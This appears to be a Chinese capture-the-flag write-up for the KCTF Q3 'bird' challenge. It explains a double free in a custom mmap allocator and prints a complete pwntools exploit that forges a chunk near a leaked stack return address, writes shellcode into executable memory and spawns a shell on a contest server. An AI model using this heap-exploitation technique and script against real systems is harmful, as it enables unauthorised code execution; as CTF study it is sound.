KCTFQ3-bird

这是一个mmap动态分配的题目,也是我第一次见到,人生有很多第一次。这次也不例外;)

看了这道题也很长时间,如果单纯从做题来说的话,其实也没必要。但是还是想看一下具体是怎么作者是怎么分的。用mmap 代替brk来管理内存。mmap也被分成了一个个chunk的块,当然了它并没有有malloc那样复杂的内存管理。

chunk的结构与malloc里面的chunk有一点不太一样,chunk是相对空闲状态的内存来说的。

1
2
3
4
5
6
struct chunk{
uint64 size;
char [SIZE-0x10];
void *next
void *prev
}

你会发现这个chunk稍微有一点点特别,同样是个双向链表,但是prev 和 next在chunk最后面。链表的头是用一个全局变量,这里暂且叫它top。同样chunk块存在动态的释放和申请。从top开始遍历,当内存不足时,用mmap向系统申请。同时top指向这个新的内存页。用prev保存之前的内存页。

top指向内存大于等于需要申请的内存时,也分两种情况剩余内存大于0x18时,则从该内存空间切割出来所需内存即可,同时改变prev->next 和 next->prev的指向,这里空闲状态是发生变化的,所以这里需要改变引用这个chunk的所有指针。

小于0x18时全部全部分配出去。这里为什么是0x18,因为这里申请的内存大小最小是0x10,再加上一个uint size位,而且这里注意到同样有size位的flag,size|1表示改chunk处于使用状态,size|2表示处于连续chunk的中间。我想他这个意思应该是希望来优化内存碎片的。起初我并没有在意这个点。这就是alloc的过程

下面来看free的过程。首先判断size&1确保这是一个使用中的chunk的,free过程出现了分支,如果该chunk处于连续chunk中间即size&2 == 1,则去判断该chunk内存位置上紧靠着的nextchunk是否处于未使用的状态,是的化则进行合并,这里没有合并的话会直接扔到top上,如果产生了合并,改合并的nextchunk必须等于top才会把合并之后的chunk扔到top上。

这里有一个存在一个小问题,你会发现合并之后的size位上只去掉了flag_2.并没有去掉flag_1.那么这里就是一个double_free。

这个点怎么用呢?如果这里double_free 会有什么效果呢?首先得保证第一次free的时候 size&3 == 0,第一次会向前合并,那么第二次flag_2清掉以后,这里的机制会把释放掉的chunk直接扔到top上,同时old_chunk->prev等于释放的chunk。这里就造成了free_chunk链上存在同时指向相同的位置chunk。这里造成了

old_chunk == the chunk to be free (the chunk to be free) -> next=the chunk to be free

我们的目标可能是想通过这个机制看能不能拿到 任意地址的引用。我们得想办法改变next的指向。如果现在alloc(0x30),这就直接可以控制next的指向,这里虽然不能改变next,但能改变next的next。

但是这里利用条件比较苛刻,为什么这样说呢,我们能很容易轻易的控制流程到next->next上,但是呢next->next指向的结构有一定要求,首先size的大小肯定要大于0x30,并且分割以后如果prev 和 next不为NULL,那还要写prev->next 和next -> prev ,这里还要想想写的时候能不能写。一般来看最好的情况就是prev 和 next 都为0。再来想想要拿到什么地址附近的引用呢? got表? 不行,got附近的没有合适的size,都是很大,导致prev和next的寻址会出现问题。malloc_hook 也不存在 这里用的是mmap

结合题意,它给了一个栈上的地址,那么我们能不能拿到相应函数返回值附近的地址引用呢?这个地方我找了好久,一般都是size合适,但对应prev 和 next 都不为NULL,会导致写出问题,但是附近恰好有一个合适的size 0xa00且对应的prev 和 next是NULL,这里我们可以拿到ret的引用的,那么这里怎么getshell呢?rop? NOOOOOOO没必要,这里mmap如果你vmmap话发现是可以执行的,所以直接在mmap上申请一块保存shellcode的chunk,再用ret打过去即可。这里本地成功,远程失败,应该是权限问题。我不知道为什么。由于比赛也还行进行,但是这一份不能用的exp贴出来也没事 :)))))))xi 思路最重要 逃)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn_debug import  *

ins = pwn_debug('./0xbird1')

ins.debug('2.23')
ins.remote('154.8.174.214',10000)
p = ins.run('remote')



context.log_level = "debug"

def z(text):
gdb.attach(p)
raw_input(text)


def alloc(size):
p.recvuntil('KCTF| ')
p.sendline('A')
p.recvuntil('Size: ')
p.sendline(str(size))

def free(index):
p.recvuntil('KCTF| ')
p.sendline('F')
p.recvuntil('Index: ')
p.sendline(str(index))

def write(index,content):
p.recvuntil('KCTF| ')
p.sendline('W')
p.recvuntil(') ')
heap_addr = p.recv(14)
p.recvuntil('Write addr: ')
p.sendline(str(index))
p.recvuntil('Write value: ')
p.send(content)
return int(heap_addr,16)

def leak_stack():
p.recvuntil('KCTF| ')
p.sendline('N')
p.recvuntil('Here you go: ')
stack = p.recv(14)
return int(stack,16)


ret_address = leak_stack()+0x4+0x8

fake_chunk = ret_address -0x69

#pwndbg> x/4gx 0x7ffced05c778 + 0x7
#0x7ffced05c77f: 0x0000000000000a00 0x0000d0ffffffff00
#0x7ffced05c78f: 0x0000000540131f00 0x007ffced05c7f000


success('ret_address:'+hex(ret_address))
payload = 'a'*8 + 'b'*8 +'c'*8+ 'd'*8 + p64(fake_chunk) + 'f'*8
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x100,"\x00")
#print len(shellcode)
alloc(0x100) #1
heap_addr = write(1,shellcode)
alloc(0x10) #2
#z('alloc done')
free(2) #0xfe1
free(2) #0xfe0
#z('')
alloc(0x30) #3

alloc(0xe80)#4
#z('')
write(3,payload)

z('')

alloc(0xd0)#5

rop = 'a'*0x31+p64(heap_addr) # read_ret_address
write(5,rop)
#z('for double free')
p.interactive()